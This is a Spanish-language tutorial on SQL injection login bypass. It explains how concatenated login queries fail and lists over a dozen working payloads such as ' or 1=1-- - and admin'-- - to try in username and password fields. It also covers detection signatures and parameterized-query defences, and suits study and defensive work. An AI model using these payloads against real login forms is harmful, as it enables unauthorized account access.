SQL Injection Authentication Bypass

Un bypass de autenticación por inyección SQL ocurre cuando un formulario de login construye la consulta de validación concatenando directamente lo que escribe el usuario, sin parametrizar. La consulta típica es algo así:

SELECT * FROM users WHERE username='$user' AND password='$pass';

Si el campo de usuario no se sanea, se puede cerrar la cadena e inyectar una condición siempre verdadera, de modo que la consulta devuelva una fila aunque no se conozca ninguna credencial. El payload clásico es:

'or 1=1-- -

Al insertarlo en el campo de usuario, la consulta queda como ...WHERE username='' or 1=1-- -' AND password='...': el or 1=1 hace que la condición sea cierta para toda la tabla y el -- - comenta el resto (incluida la comprobación de la contraseña). La aplicación recibe al menos una fila, interpreta que las credenciales son válidas y concede la sesión. El espacio tras -- (o el - extra) importa en MySQL/MariaDB, donde el comentario -- exige un carácter en blanco a continuación.

Arsenal de payloads

Se prueban en usuario y/o contraseña hasta que uno rompe la consulta a nuestro favor:

' or 1=1-- -
' or '1'='1
admin'-- -
admin'#
admin'/*
' or 1=1 limit 1-- -
") or ("1"="1
') or ('1'='1'-- -
' or 1=1 or ''='
" or ""="
' or 1=1;-- -                 # con stacked queries
admin' or '1'='1'-- -
' or username like 'admin%'-- -

Es la variante in-band más directa. A diferencia de una SQLi a ciegas, aquí no hace falta extraer datos carácter a carácter: basta con falsear la condición de login. Conviene tenerlo claro porque suele ser lo primero que se prueba contra cualquier panel: si el filtro de entrada es débil, una sola petición da acceso.

Matices. No siempre funciona el mismo payload: según el motor y cómo se monte la consulta puede hacer falta admin'-- -, ") or ("1"="1, comillas dobles, o ajustar el comentario. Y un login vulnerable no garantiza control total de la base de datos; para eso suele encadenarse con SQLi a escritura de ficheros u otras técnicas. Una vez dentro del panel, lo habitual es buscar información sensible que permita el siguiente salto (reutilización de credenciales).

Cómo detectarlo. La firma es un campo de usuario o contraseña que contiene comillas, or 1=1, -- -, # o ") or (": un WAF sobre el POST del login lo marca, y una regla simple es alertar cuando el propio campo username trae sintaxis SQL. En el servidor, un login con éxito precedido de errores de sintaxis SQL (o un username grotescamente largo/con comillas en el log de aplicación) delata el bypass. La señal de alta fidelidad es una autenticación válida sin un usuario real detrás: sesión concedida para un username que no existe en la tabla, o un pico de intentos de login con payloads antes del acierto. Como suele ser una sola petición, el WAF de entrada es la mejor barrera de detección.

Defensa. Usar siempre consultas parametrizadas (prepared statements), nunca concatenar entrada del usuario en SQL; aplicar listas de permitidos en los campos; y no confiar la autenticación a que una consulta "devuelva filas".